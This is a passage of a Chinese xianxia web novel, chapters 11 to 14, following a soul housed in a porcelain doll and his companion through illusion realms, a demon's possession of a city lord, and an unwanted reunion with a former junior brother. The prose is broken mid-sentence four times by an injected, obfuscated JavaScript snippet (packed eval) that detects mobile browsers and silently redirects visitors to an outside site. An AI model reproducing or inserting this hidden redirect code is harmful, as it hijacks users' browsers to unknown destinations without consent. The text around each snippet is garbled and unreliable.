柳重月往榻边挪了挪屁股,忽然听见身体发出细微而艰涩的响动,这才抬起手摸了摸自己的脸。 脸颊上已经有了裂隙,连掌心和手背也已经有了破损。 辛云还是不曾睁眼,却像是知晓他在做什么,主动开口解释道:“幻境入口混着噬魂阵,防止猎物逃脱所用,瓷偶的皮囊无法固魂,很容易会在噬魂阵中被吞吃。” 但辛云赌了一回,险境即是生机,穿过幻境入口,便是安全的新幻境,这里没有妖魔的气息,他们也无法再与幻境中人交谈,只能看着事情按照已经发生过的既定轨迹运转。 柳重月还有些头疼,又问:“我先前……是否又被魇住了?” “嗯,”辛云睁了眼望过来,被遮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15050975|162822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挡住的面庞看不清楚神色,“你都记得?” “记得一点,”柳重月捂了捂脸,道,“似乎梦到了一些故人,后来便不记得了。” 辛云眸中染上些许失落,很快又将其掩藏起来,平静道:“嗯。” 他不记得自己入梦去将他拉出来的事情了。 也是,入魇之人神志尽失,怎么会记得这些。 辛云将念头抛去,转了话题,先问了柳重月的魂魄如何,柳重月说不上来,只觉得有些不太稳当。 辛云道:“有人在替你点长明灯,想替你复仇,不过似乎点不长久,因而会使你魂魄动荡。” “长明灯?”柳重月懵了懵。 他死之前已到了人人喊打的地步,谁莫名其妙给他点长明灯唤魂啊? 转而他又注意到辛云先前说的话,问:“你先前入我梦了?” 辛云如实答道:“你被魇住,我无法唤醒你,便入了你的梦。” “你可有看见是何人在替我点长明灯?” 辛云欲言又止,记起那时听到的“景星师弟”,一时间竟不想实话实说,难得说谎:“不曾看见。” 柳重月心里有别的事,没察觉到不对,只想着会是什么人。 柳家的亲属都已死绝,小叔失踪也已有五百年,除此之外都是想要他命之人。 莫非是阿梧姐? 柳重月又晃晃脑袋将这个想法丢去。 狐族灭门之时阿梧姐的元神便跟着一同消散了,妖丹被他藏在体内温养,只剩下一道残枝和些许意识,没有能力替他点长明灯的。 他想不明白,头疼欲裂,于是便不再想了,将关注又放回到幻境当中。 他道:“若照你先前所说,这个新的幻境恐怕并非金像立下。” 辛云点了点头:“确实如此,先前我在城主府见到董凡雁与向安,董凡雁身上有妖魔的气息,妖魔附在她身上,里层外层两个幻境都受她掌控,唯独这个没有,恐怕是千年前有人故意留下,替外来者留的一处生路。” “现下是什么时候?” “先前去外面转了一圈,董凡雁从前是董家长女,董家世代修仙,只有这一个女儿没有任何可得道成仙的资质。” 董凡雁知晓自己无法循祖业入仙道,但她也志不在此,转而去考了功名,成了女官,来到太鼓城任职。 三年后太鼓城遭水患,董凡雁抗灾有功,又当上了城主。 “现在便是她当任城主的第三年,等过了夏至,便是第四年了。” 辛云掌心一翻,灵团自掌心凝聚,转眼便成了一道灵墙。 柳重月盯着灵墙看了一会儿,心知这又是阵法。 这世间擅阵之人不多,他认识的也不多,唯独只有辛云与程玉鸣。 说来也奇怪,程玉鸣分明是散修,也无人教导,为何会有如此高的修为? 如今辛云也是如此,宗门擅剑术,他却更擅长阵道,莫非他从前还有什么师父? 前世今生都对阵法如此熟悉,难道他不是正常转世? 柳重月满脑子问题,却也无处询问,只能强忍着好奇,说:“你带我去一趟城主府。” “我要见见董凡雁。” 11. 第 11 章 董凡雁的灵位一直放在柳家的祠堂当中,柳重月并非柳家的子嗣,只是接了柳家人的名字与身份,但当年小叔待他如亲侄,做上家主之位后,族门盛典也会让柳重月出席,前去跪拜柳家的先祖。 柳重月自小便见过董凡雁的灵位,并非柳家先祖,也没有画像,却一直坐高台之上。 师尊将他送去柳家是因为柳家与狐族从前交好,董凡雁与狐族是不是也有什么关系? 柳重月还是想找到狐族灭门的真相,为狐族洗脱这千百年来的罪责。 至于其他的,那些情情爱爱,自己身上的诬陷与因果,便稍且放一放罢。 他走着神,辛云已经背着他到了城主府外。 辛云道:“现在时辰与环境外不同,向安还未曾参加科考。” 幻境中人无法瞧见他们,辛云背着柳重月从正门进入,柳重月眼尖,看见府门上贴着一张符纸。 还是先前那张“平安符”。 柳重月拍拍辛云的肩头,示意他去看那张符纸。 辛云琢磨片刻,道:“符箓一道我不算熟悉,你先将符字记下,待出了幻境,再去找伍明老先生辨认。” 他口中又出现了柳重月不识得的名字,他也不曾多问,更不曾说明自己与他并非处在同一时期。 他不过一只千年后早死的亡魂,不知道因何才来到这里,被困在幻境之中。 等离开幻境,他便没了魂魄附着之物,届时还不知何去何从。 柳重月沉默着。 又往前几步,他听到董凡雁说话的声音,道:“天行有道,道外之事我皆不做,你的请求恕我无法应下。” “求求您了城主!”一女子抽噎道,“您与仙使相识,只求您替我引见仙使便可,我别无他求。” 仙使? 柳重月眸光晃了晃,催促辛云再靠近些。 辛云却站在原地半晌没什么动静,像是在出神。 “怎么了?”柳重月有些疑惑,“你在想什么?” “啊……”辛云蓦地回过神来,“无事,我忽然记起,千年前上界仙人是可以干预下界凡尘之事的,仙使是上界与下界相互勾连的重要使者,向下界传递天道指示,同时也向天道传达下界所托。” 千年之后已经没有仙使了,再久远一些,便再无人提起过此人。 柳重月点点头,他们行至窗外,窗户被支起,掩着一道缝。 柳重月透过缝隙瞧见董凡雁正坐在桌前,身下跪着一个女子,身量极好,皮肤苍白如瓷,如同精心雕刻煅烧而成的瓷器。 柳重月下意识便摸了摸自己的脸,心觉那女子有些不对。 董凡雁似是无奈,叹道:“仙使也已有许多年不曾来下界,我只是凡人一个,没有办法替你引见的。” 女子似是有些怔神,“城主可知……仙使何时才会再入下界?” “抱歉,我也不知晓,”董凡雁托着她的手臂,让她从地上站起来,“仙使入下界都是为了维护秩序而来,如今下界安定平和,想见他或许很难。” 顿了顿,她又道:“我虽是凡人,可也是董家长女,你若有何事也可向我求助。” “求你有什么用,”女子苦笑起来,“你们下界的修士,凡人,都只不过是上界仙人随意作弄的棋子,前途命运被人掌控在手里,是好是坏,是生是死,全都不过是他们一句话的事。” 她痴痴笑了两声,不顾董凡雁的挽留,转身离开了城主府。 辛云下意识跟着走了两步,柳重月忙道:“你去哪?” 他这才回过神来,有些心虚般:“我瞧她似乎是妖修。” “只是妖修罢了,”柳重月面不改色,只问,“还是说,你也斩妖?” 辛云听他语气不对,心下有疑虑,却没再多问,只道:“妖修也分善恶,与常人无异,我又不是是非不分,怎么会无端斩杀妖修。” 他转过脸,背着柳重月进了殿房。 背上那人却忽然冷笑起来:“你最好说到做到,别到时候为了自己的仙途,为了得道飞升不分青红皂白滥杀无辜。” 辛云怔了怔:“我定不会。” 大约是察觉到柳重月态度有变,辛云不知道他从前发生过什么,只从那一点点梦境中得知他或许已经死了。 若非如此,那个叫景星的修士不会为他点长明灯。 他心中忽然升起一个很荒谬的念头,但很快又将其抛去。 柳重月早便已经将注意力放回到董凡雁身上,她如今看起来并未被妖魔附身,周身气质温和,许是方才与那女子交谈过,现下情绪有些低沉,正头疼地捏着自己的鼻梁。 柳重月打量了一下周遭,整个城主府建的富丽堂皇,打扫得很是干净,却没有任何妖邪之气。 董凡雁已经起了身,靠近角落的屏风。 屏风后是一块雕琢细致的壁画,董凡雁也并非毫无灵力,曾经也尝试修行过几年,实在是不得功法,这才转而放弃。 她指尖冒出一点点灵流,轻轻点上麒麟瞳孔。 一瞬间,金像麒麟蓦地亮了眼眸,顿时光芒四射。 雕刻着壁画的墙壁轰隆作响,转眼便向后退去,从中化作两道石门,露出一道狭长的暗道。 见她附身入了暗道,柳重月拍拍辛云的肩,示意他跟上。 暗道内一片漆黑,唯有董凡雁手中光团泛着光,勉强将身前的路照亮。 她穿行在其中,来到一处石墙前。 不知又碰了哪里,石墙轰隆隆被升起,露出一座宽大的藏宝阁。 无数金银珠宝仙术典籍映入眼帘。 柳重月怔了怔。 一个城主的府邸内,仙器法宝竟比渡业宗还要多。 但董凡雁似乎对那些珠宝并不感兴趣,甚至面不改色,直直穿过去,走到了一方高台前。 那里放着一尊石像,虽由石块雕琢而成,发丝衣褶却栩栩如生。 那石像戴着纱幔,看不清面容,只觉得神秘而圣洁。 也有些熟悉。 柳重月出了会儿神,忽然想,似乎是有些像师尊。 不过只是周身气质有些像,身形却是不像的。 正想开口,柳重月忽然听到辛云喃喃唤了一声:“仙使……” 柳重月:“嗯?” “这是……仙使的神像,”辛云唇瓣张了张,又解释道,“这是传音之阵,借以外物可通上界,与仙使对话。” 董凡雁先前还说不能为人引见,这不是在地室中有联系之处么? 柳重月想了想,又问:“你见过仙使?” “不曾见过,”辛云道,“我出世时仙使已陨落千年,只见过下界百姓立的神像,都是这般模 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15050976|162822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样,带着纱幔,端坐莲台,看不清面容。” 这般解释天衣无缝,虽总觉得辛云反应不对,却也挑不出什么错来。 柳重月欲言又止,忽然被董凡雁打断了思绪。 董凡雁站在莲花台前,仰首望着仙使的神像,怔怔出着神,道:“千年里我时时在想,当年若不曾……仙使恐怕也不会就此陨落。” 她这番话说得没头没尾,柳重月后知后觉,她似乎在与什么人对话。 是那神像中的仙使,还是…… 还是他们? 柳重月问:“你能感知到我们?” “是,”董凡雁微微侧过身来,她其实看不见幻境外的其他人,只能感受到外来的气息,“幻阵是我落下,这么多年一直等着有人能发觉进入,好将外层幻境彻底打破,将安定还给这座城池。” “幻阵是何人落下的?” “先前来到此处的瓷妖,你们应当也有见到,”董凡雁抚摸着莲花台,轻轻笑起来,“若不是她的夫君……” 话未说完,整个幻境忽然开始震颤不息,濒临破碎。 辛云道:“那金像在外破坏幻阵,不知还能撑过多久。” “阵眼在一个她不知道的地方,”董凡雁平和道,“无法击碎阵眼,幻境是不会轻易消散的。” 她的身形在二人眼前已有消弭,许是为了加快时间的流速,董凡雁又落下一道法咒,顿时白光四射,刺目不已。 柳重月不得不闭上眼,忽然感到一股灵流铺散而开,将他护在其中。 辛云将他从背上挪到怀里,单臂抱着他,右手提着剑,目色冷峻站在结界之中。 待白光散去,眼前一切又恢复了原样。 他们已从地室中离开,现下正站在阳光之下。 柳重月感到魂魄正如烈火灼烧般疼痛,催着辛云将他带到荫蔽之处。 辛云总算忍不住,问:“你可是……已经死了?” “魂魄都已经脱离身躯,自然是死了,”柳重月倒一副不在意的模样,又说,“还有人为我点长明灯,你说,一群道貌岸然的正人君子对我喊打喊杀,如今又不知道从哪里冒出来点我的长明灯,究竟是为了什么?” 辛云知晓柳重月心思细腻聪慧,只是不曾想其中还有这等事情:“喊打喊杀?” “你做了什么?为何会……这般对你?” 柳重月坐在树下,瞧着对方露在外面的、带着疑惑和关忧的双眸,他沉默了片刻,反问道:“你觉得呢?” 辛云猜不出来,他只觉得柳重月满口谎话,但这个世道便是如此,或许只有谎言才能维持生机,也不算什么伤天害理之事,何以到了要被斩杀的地步。 他猜不出来,柳重月也猜他猜不到。 他如今还那般青涩,与后来的玄月涯统领程玉鸣似乎完全没有什么相似之处,很多时候都会让柳重月遗忘了他们之间的联系,甚至怀疑是否是自己猜错了。 他弯弯眼睛,忽然又从辛云的瞳眸里看见了自己的面容。 这段时日他不曾照镜,竟不知晓自己早已恢复了自己的容貌。 柳重月怔了怔,下意识摸了摸自己的脸,问:“这是何时变成这样的?” “先前你见了向安,担心被他发觉,让我将瓷偶的皮囊化去了,”辛云不知晓他为何这么大的反应,“怎么了?” 12. 第 12 章 柳重月出着神,没说话。 难怪这几日辛云对他态度转变得如此快,原是因为见了他的容貌。 从前在渡业宗,还有师尊在身后撑腰时,宗门中也有不少师兄弟觊觎他的容貌。 狐狸对自己的样貌如何还是很清楚的,只可惜没有相匹配的能力傍身,容颜只会成为致自己于险境的麻烦。 辛云或许也喜欢这张脸。 柳重月只是觉得有些惊讶,转而又放下心来,说:“无事,你一直不曾告诉我,我还以为是随便换上的容貌呢。” 他又有些可惜地摸了摸自己的额头叹息道:“这么好的皮囊,平白多了裂隙。” 辛云:“……” 辛云知道他又在胡言乱语了,将他抱起来,上了酒楼。 幻境时间又重新转置过,先前董凡雁也不过是一点点残存的意识,能有那几句对话已是不易,现在恐怕没办法再见到了。 柳重月打量着周遭,问:“现在是什么时候?” “尚不清楚,但董凡雁见我们传送至此,或许能看到什么。” 话音刚落,前方包厢里忽然传来先前那瓷妖的声音。 如今嗓音里已没有了哀求之意,反倒带着些许诱惑,道:“城主若是想要这符箓,我等手中还有不少,只要一张符篆,放于他人身上,便可号令其为自己所用。“ 柳重月靠近了窗户,接着窗沿缝隙望进去,只见那瓷妖正与董凡雁面对而坐,纤细的指尖捏着一张符箓。 正是柳重月先前反复瞧见的那张。 “符篆来路不明,”董凡雁不为所动,“你不必用此物诱惑与我。” 她应邀来此处赴宴,知晓自己与瓷妖无话可谈,便起身想要告辞。 瓷妖心下一急,音量也跟着大起来:“董家世代修仙唯你毫无资质,你便不觉得不公么!” 她蓦地起了身,身上瓷器所制的一串铃铛叮铃作响,连喘息都有些急促:“只要你想,换一个可以修行的身体轻而易举!” “这样的修行还有何意义?”董凡雁平静道,“你道心已经乱了,还是先顾好你自己吧。” 董凡雁与她擦身而过,还未等打开厢房门,身后忽然狂风猎猎,瓷器摩擦在一起,发出刺耳又难听的声响。 紧接着,刀风扑面而来,将董凡雁颊边碎发吹起。 她目色一凝,回首一瞬已立起结界,只听一声巨大轰鸣,两厢灵力撞在一处,产生了巨大的冲击。 一瞬间屋门窗户皆被破碎,连幻境外的柳重月与辛云都隐约受到了影响。 辛云眼疾手快,忙将人捞进怀里闪身躲避。 董凡雁与瓷妖大打出手,她虽并未修行,但瓷妖的修为也不算高,二人暂且打成平手。 又是一击过后,董凡雁向后一退,泰然自若般收了手,又在掌心唤了法咒,道:“传音于仙道,此处——” 她话没说完,瓷妖瞳孔一缩,骤然又攻来。 她指尖捏着符篆,施了术法,猛地将其注入到董凡雁体内。 只这一瞬,她身形蓦地化作一道灵流,随之一同入体。 董凡雁下意识往后连连退步,后背撞上墙壁。 再抬脸时,虽容貌未变,但先前温和平静和气质却依然发生转变,成了后来柳重月他们见过的模样。 “原是如此,”柳重月道,“难怪你那时感知到董凡雁身上有妖魔的气息,原来是以此术附身在了她身上。” “这瓷妖如今还未入魔,只是妖修而已,”辛云淡声道,“道心已乱,离坠入魔道兴许也不远了。” 柳重月半晌没应声。 他死之前,也曾有过一段时间被魔气浸染了魂魄。 他自己也不清楚究竟是何时染上,后来发觉身体被控制,符篆与魇阵都在试图占据他的躯壳,柳重月这才返回烟山想去藏书阁寻找相关的典籍,看看有没有应对之策。 与程玉鸣结为道侣之后他便从烟山搬离,远离了那些宗门的弟子,近乎隐居般生活在山野之间,也有许久没有再碰到渡业宗的故人。 那次上山他难得再见到景星,景星奉命看守藏书阁,见柳重月回来,手里的剑攥紧了些,却只是冷哼一声,问:“你又回来做什么?” 柳重月记得景星年岁尚小时似乎还不是这般倨傲,也很听师兄的话。 也是自己没什么能力,修为停住了,慢慢便会被人看不起。 人之常情,也怪不了什么。 他不欲与景星起冲突,说:“我想找些书看看,这是我师尊留给我的令牌——” 掌心忽然一空。 景星将那令牌收到自己手里,垂眼打量了片刻,忽然冷嗤一声道:“仙尊当年予你这般多的好处,没想到你却如此废物,你离开烟山也快百年了吧,居然还是毫无长进,我看你那道侣迟早有一天也会嫌弃你。” 柳重月面色不改,只笑道:“那便等他厌弃了再说吧,师弟看了令牌,我便先进去了。” 将将擦身,景星忽然道:“站住。” 景星手中佩剑正泛着幽幽光晕,神情带着讥诮:“我让你进去了吗?” “我原以为你待你那道侣也就是过家家,先前听闻你们与常成天一道入魔域历练,竟将他留在危险之地自己走了,这般薄情寡义,竟也还真让你们二人相伴至今。” 柳重月像是知晓他的真实用意,只问:“师弟挽留,是还想让师兄做什么吗?” 景星闻言登时红了面颊:“你不要一副很懂我的模样,哼,百年未见,你与我再比试一场,若你赢了我,我便放你进去。” 柳重月只叹息一声:“你知晓的,我赢不了你。” “是你自己未精于修行,有你这般师兄,实在是让我丢尽脸面。” “那便换个师兄吧,”柳重月面上仍带着笑意,在他心里景星永远都只是师弟,他不会与景星怄气,也不会在意对方的态度,情分在他便在,情分不在那便离开,从不会过多索求,“渡业宗师兄弟那般多,我也并非与你同门所出,唤不唤我这一声师兄也没什么大不了的。” 他说得洒脱,景星却红了眼,咬咬牙挥剑而来。 景星已是元婴后期,修为比之当年不知增长了多少,柳重月只身相抗,必然是无法打败的。 他连连后退,也不出手,只顾着阻挡。 越是这般,景星便越是生气,怒道:“你用剑啊!你的剑呢!” 话音刚落,剑意破空而来。 柳重月向后一跃,剑意瞬时刺入他先前所站之处,激起大片雪花。 柳重月指尖微微一转,阵法自天际落下,却只是将自己罩住,淡声道:“我不用剑,也不与你比试。” 柳重月感到自己体内被压制下的魔气正在缓缓上涌,再多待一刻,兴许便藏不住了。 于是他主动示弱,说:“我已无法再修行,如你所愿,宗门魁首已经是你了,没有必要再与我争夺。” “我只寻找自己要的东西,等找到了,便再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15050977|162822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不会回到烟山,也不会再与你见面。” 他又想往前走,景星却如痴狂般再次攻来:“你说谎!你之前分明灵力充沛,整个宗门谁不说你是天生仙骨,怎么可能不能再修行!” “你的剑呢!仙尊不是给了你一把剑吗!拿出来啊!” 巨大的冲击落在结界之上,柳重月心脉受损,唇角顿时溢出一道血痕。 眼见着结界已有破损,景星攻势仍不停歇,柳重月蓦地又呕出一口血,心脉之下的魔气丝丝缕缕往外溢出。 柳重月意识消失了片刻。 再清醒时,他看见自己满手鲜血站在藏书阁前,景星身受重伤,以剑相撑跪在地上,艰难道:“你……是妖修……” 他轻咳一声,转而笑起来,似是有些难以置信:“你竟是妖修……难怪,难怪修为会停滞。” 妖修无道,无道又该如何修行,又该如何圆满。 柳重月也有些怔然,他丝毫不记得先前发生了什么,只愣愣蹲下去,想将景星搀扶起来:“师弟……” 伸出去的手在半道停下,柳重月看见景星身下落了一张符纸。 之后是长达数年的追杀,这段时间内,柳重月一直在找机会探查符箓的来源,却始终没有确切的线索。 没想到数千年前,这邪物便已经出现了。 柳重月回过神来,见瓷妖熟悉着新的身体往外走,忙道:“追上她。” 他们前行几步,瓷妖忽然回了眼,眸中晃着阴邪的红光。 柳重月心下一惊,也许也因为思绪还停留在死前往事里,他一时间忘记了自己身边还有辛云,也忘了自己如今体内没有灵力,下意识抬手自断裂的木门上划过。 指腹破损,不见流血,只有心脉间残存的灵力宣泄而出。 柳重月高声道:“来!” 瓷妖已经放出攻击,无数破碎瓷片迅速向着他们击来,顿时风声大作。 眼见着便要接近柳重月与辛云,辛云正欲抬剑,眼前忽然白光一闪,光晕内出现了一道人影,手里握着一把银剑,反应尤为迅速,瞬时便斩出一道极强的灵流,将瓷妖连同整个幻境一同从中撕裂,变成一道漆黑的狭口。 瓷妖只是意识附着在其中,尖锐的笑声四散在周遭,转瞬便没了踪影。 辛云这才松了口气。 他如今修为还未到渡劫,瓷妖的力量更加强悍,先前在外层幻境与金像缠斗时都有些吃力。 幸亏柳重月竟懂得传唤之阵,从幻境外叫了人进来。 周遭尘雾还在弥漫,那人只是意识进入幻境,身体透明而缥缈,被掩在尘埃之中。 柳重月落阵时也不知道自己传唤了谁,只觉得对方身形很熟悉,却无法与记忆里的人对上。 他记起自己如今是原本的相貌,也知道不能让仙道知晓自己还活着,忙躲在辛云身后,小声道:“快同人家道谢。” “这不是你唤来的故人?” “我哪有什么故人,兴许是受你的灵力影响,是你认识的人呢。” 柳重月小心摸着自己的脸,忽然听见那人疑惑道:“此处是?” 柳重月手腕一顿,茫然地眨了眨眼。 好生熟悉的嗓音,似乎刚刚才在回忆里听过。 柳重月后脊一阵发凉,那方尘雾已然散去,一红衣青年茫茫无措站在原地,手里银剑灵流未歇,神情有些痴怔。 不是景星又是谁? 柳重月忍不住抬手按了按额头,心道完蛋。 13. 第 13 章 所思即所想,他落阵之时还未从与景星见过的最后一面中抽离,心里想着景星,还真把景星拉了进来。 柳重月捂了捂脸,又戳戳辛云的后腰,小声道:“你替我藏一下容貌。” 辛云不明所以:“为何?” “你瞧我长成这样,”柳重月指腹自眉上拂过,轻声说,“万一你这故人是个登徒子,见我沉鱼落雁闭月羞花,对我起了歹意怎么办?” 辛云:“……” 他本想反驳两句,但张了张口,见柳重月冲自己眨了眨眼,实在是说不出口。 确实是漂亮,可那人也不是自己故人啊。 他擅长阵道,柳重月落阵时他便已认出此阵,知晓是柳重月从前相识的人。 但瞧他这幅模样,兴许并不想见面? 辛云难得体谅,见那红衣修士尚在出神,便给柳重月施了一道障眼法术。 柳重月这才松下口气。 这要是被景星看见了,不得将他一拳打成一片一片的。 辛云已上前去,同景星道:“多谢道友出手相助,此处是千年前的幻境,幻境主人灵力强悍,不得已才传唤外界道友进入。” 景星似乎有些懵,又像是神志不清,只重复道:“幻境?” “是。” “长明灯内,竟是幻境?”景星木然自语着,“师兄……” 辛云欲言又止,不知从何解释起。 那罪魁祸首如今正顶着一张普通的面容坐在一旁,还有心思整理自己的头发。 景星视线转了转,像是清醒了些,忽然看见一旁破败的木桌上正坐着一个青年。 对方侧身背对着自己,腰身纤细,双腿下空荡荡飘着两片衣摆,正仔细打理自己的头发。 景星恍惚了片刻。 依稀记得从前在渡业宗,自己还年少时,那人便喜欢坐在寒泉边这般整理自己的青丝。 像是什么小动物在舔舐自己的尾巴似的。 景星一直很想伸手去摸一摸对方的发尾,想知道那狐尾一般的头发是不是与自己想象中的一般柔然。 他这么想了百年千年,直到与柳重月关系一落千丈,再到再也无法见到对方,从没有得到过这样的机会。 景星恍若还在梦中般,他向前走了两步,眼前只剩下那人的背影,其余什么都瞧不见了。 他喃喃道:“师兄……” 听到他的声音,柳重月下意识回了头。 景星猛地站住了脚。 面前这人圆脸小目,宽鼻大嘴,实在是长得…… 长得格外难看。 景星霎时间便清醒了,神色恢复到往日的冷峻倨傲,冷哼一声,问:“你们方才说什么?” 辛云见他态度转变,心里竟诡异地松了口气,心道自己这障眼法做得还算不错。 说来也奇怪,他怎会对这瓷偶有这般的占有欲,十分不愿见他人被其容貌惊艳。 尤其是面前这个红衣修士。 他算是记起来了,先前在柳重月梦中听到的声音与这人一般无二,想是那个在幻境外点着长明灯唤魂的人便是他。 他与柳重月是师兄弟,怎么总觉得关系还不止如此。 辛云勉强将思绪收回,耐着性子同景星解释了幻境的事情。 景星冷嗤一声,道:“不过区区幻境,这都出不去,当真无用。” 柳重月眨眨眼,见景星满目嫌弃,摸了摸自己的脸。 景星眼尖,注意到他的动作,又说:“你生得这幅丑模样,装什么可爱?” 柳重月:“?” 柳重月转头看了看辛云,对方神色似乎有些心虚,不过覆面遮了脸,看不清楚。 景星一向是这样的性子,急躁且孤高,这便挽着剑花往外走,边走边道:“那瓷妖在何处,斩了他便是。” 方走出去不过五步,他脚下忽然被什么无形的东西阻拦,无法再往前行走一步。 景星又挣动了两下,转过脸带着怒气盯着柳重月与辛云。 柳重月忙推了辛云一把:“你干的好事,你快去看看。” 辛云:“……” 辛云替人背黑锅,道:“因是阵法传唤,道友如今只是意识进入幻境之中,而非身躯,阵法失效前,道友须得跟随落阵之人行动,不能擅自离开。” 景星闻言,脸色顿时难看下来,“谁想同你们在这消磨时光,我要回去。” 那人的长明灯又灭了,他已经试了快百年,最开始甚至没办法将其点燃,一直到前段时日才有了些许起色。 但也于事无补。 长明灯最多只能点燃两个时辰,两个时辰后便会灭去,他只能再次点上。 近来他情绪越发糟糕,宗主曾说他似有走火入魔之症,景星也并未过多在意。 只是神志尽失时会忘了点灯,少点了两个时辰他便忧心错过师兄的亡魂,若在这幻境待太久,只会浪费更多的时间。 他着急想要回去,问:“怎么让法阵快点消失?” “一瞧你从前课业便不认真,许是阵道课上走神打盹,所以才不知晓这阵法的规则,”柳重月坐得屁股发麻,实在时忍不住想要气景星两句,“我猜你阵道课结课历练应当时常不合格,又要被宗门长老打回去重修。” 已是青年之貌的景星竟又像少年时那般红了脸,怒道:“丑八怪你在胡说八道些什么,我可是宗门大比的魁首!” 柳重月却又只耸耸肩,道:“传唤之阵三日后才会失效,抱歉了,这三日你只能跟随我们留在幻境内,就当是历练历练,补一补你从前欠下的课业。” “你少在这出言不逊,”景星怒气冲冲,返身上前来想要抓柳重月的衣襟,“你与我又不相识,无端造谣我做什么?” 见他伸了手,柳重月下意识便往旁躲闪,却身形一歪,往桌下摔去。 景星心下一惊,忙伸手去抱,却又在瞧见对方面容的一瞬犹豫了瞬息。 只这一刻迟疑,辛云已闪身而来,将柳重月抱在了怀里。 “啊……夫君,”柳重月掩面哭泣道,“他还想伤我。” 辛云:“……” 辛云语调有些僵硬:“不……不怕。” 景星:“……” 实在是有伤风化,让人没眼看。 景星又想起先前靠近对方时所见,那丑八怪脑袋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15050978|162822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上似乎有许多裂隙,双腿也缺失。 他指着柳重月,问:“他是妖?” “不是,”辛云将柳重月背回背上,“只是魂魄附身在瓷偶身上,瓷偶只是死物。” 景星又开始打量面前这覆面的修士。 只有眉眼外露,似乎很年轻,像是年岁比自己还小。 但这人周身气质总觉得熟悉,似乎在哪见过似的。 景星并不知晓辛云与自己并非处在同一世间内,只顾着在脑海里寻找可对应的人。 想来想去,却只有一个答案。 像明钰仙尊。 景星也不知晓自己为何会将这二人联系到一起,仔细一瞧也不是那么相似的。 无非……便是瞳眸有些像,都是那样的桃花眼,对这外人时总是冷情。 景星心不在焉,柳重月也走着神。 他觉得景星或许也有在怀疑辛云的身份。 辛云的一举一动都与程玉鸣一般无二,单看容貌并不能确定什么。 是景星从前授课不认真,也不听他的教诲了,想是不记得自己从前说过这样的话。 柳重月望着走在前方的红衣修士,心中情绪复杂。 景星幼时入渡业宗,拜入宗主门下,一直很是要强。 早些年时柳重月修行很快,修为一日千涨,曾有段时日已经突破了金丹期。 但因为身份有异,此事只有他与明钰知晓。 待明钰仙逝,柳重月的修为忽然开始骤落,回归到了原位。 那一次异常至今无可解,他也不曾告知外人。 在这之前,他一直是渡业宗最为骄傲的弟子,景星对外人很是刻薄,唯独喜欢黏着他。 柳重月也是喜欢过景星的,把他当自己的亲弟弟教诲。 什么时候他们的关系便坏了呢? 似乎便是那一次宗门大比。 那一日过后,他在渡业宗的地位发生了翻天覆地的变化,连景星也开始疏远他了。 仙道人多喜欢追崇强者,景星顶替了魁首之位,渡业宗的弟子会看着他的眼色行事,知晓景星不喜欢柳重月,便会帮着他欺辱对方。 柳重月也知晓自己其实没有外人说的那般温和,他只是太冷情,与自己无关之人统统无事,于是便显得太过随和。 景星当初确实是自己所伤,他闭关数年,自己被追杀,受过很多伤,被泼过很多脏水,也被关在渡业宗受过洗魂之刑。 欠景星的他早该还清了,到现在再见到景星,除了些许世事无常之感,其实并未有太多的其他感触。 柳重月轻轻叹了口气,觉得魂魄疲累,趴在辛云背上。 辛云问:“先前强行释放灵力,可是魂魄受了冲击?” “兴许,”柳重月道,“一时间忘了还有你,自己便动了手。” 他这话不知怎么,像是狐狸尾巴扰了心一般,让辛云忽然感到耳廓滚烫。 他沉默了片刻,看着前方远远走去的景星,轻声道:“下回……等我动手便好了。” 他背着柳重月,见不到对方的神情,不知晓柳重月如今正噙着笑意。 眼里却满是寒凉。 14. 第 14 章 董凡雁已经死了,原本也不是修仙之人,残留在幻境中的力量不多,瓷妖轻而易举便能将意识投射进来,掌控着幻境中的身体。 三人赶到城主府时,瓷妖正顺着董凡雁先前去过的地室往里走,打开了藏宝阁的大门。 辛云道:“此幻境并非瓷妖所落,她虽意识进入,但也不可长时间控制幻境,如今或许看不到我们。” 